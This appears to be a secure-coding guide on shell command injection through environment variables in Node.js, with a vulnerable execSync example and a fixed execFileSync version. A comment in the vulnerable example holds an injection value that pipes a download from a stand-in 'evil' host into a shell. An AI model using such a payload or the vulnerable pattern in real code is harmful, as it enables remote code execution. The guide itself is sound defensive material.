Command injection through environment variables

Shell command injection through untrusted environment values

Description

When a dynamic string containing environment variables or execution paths reaches child_process.exec or execSync, the shell interprets spaces, quotes, semicolons and operators such as &&. An attacker who controls CI/CD variables, an .env file or the paths involved may alter a command or execute another one. Merely using an environment value does not mean an attacker controls it.

Potential impact

  • Shell interpretation may execute additional commands.
  • Manipulated arguments to tools such as rm or tar may delete or alter data.
  • Malicious commands in CI scripts or variables may compromise build and deployment pipelines.
  • Execution with elevated permissions may expose credentials or support privilege escalation.

Remediation

  • Fix the executable to a trusted absolute path and pass a separate argument array with execFile, execFileSync or spawn using shell: false.
  • Validate environment values for type, allowed characters and length. A program still interprets its own options without a shell, so mark the end of options where needed.
  • Accept only filenames or map inputs to approved paths. Normalizing a path and comparing its prefix does not prevent directory escapes through symbolic links.
  • Prevent untrusted users from modifying the backup directory and destination files, and define how existing files and links are handled.
  • Protect CI/CD configuration and the execution environment, avoid logging secrets, and minimize process permissions and inherited environment variables.

Examples

Before

javascript
const cp = require("child_process");

// Pass an environment-derived command string to execSync
function makeBackup() {
  const target = process.env.BACKUP_FILE; // For example, "backup.tgz; curl http://evil|sh"
  const cmd = `tar -czf ${target} ./data`;
  cp.execSync(cmd); // Shell interpretation may execute another command
}

makeBackup();

After

javascript
const cp = require("child_process");
const path = require("path");

// Separate the executable and arguments, and validate the path
function makeBackupSafe() {
  const baseDir = "/var/backups";
  const rawName = process.env.BACKUP_FILE || "backup.tgz";
  if (!/^[a-zA-Z0-9][a-zA-Z0-9._-]{0,99}$/.test(rawName)) {
    throw new Error("Invalid backup filename");
  }
  const dest = path.resolve(baseDir, rawName);
  if (!dest.startsWith(baseDir + path.sep)) {
    throw new Error("Invalid backup path");
  }
  // Run without a shell using an argument array
  cp.execFileSync("/bin/tar", ["-czf", dest, "./data"], { shell: false });
}

makeBackupSafe();

The first example inserts BACKUP_FILE into a shell command. The second accepts only a permitted filename and passes separate arguments to the fixed /bin/tar executable. It limits shell interpretation and textual path traversal, but does not control filesystem links or overwriting. Prepare a trusted backup directory, destination files and working directory, and handle failures.

References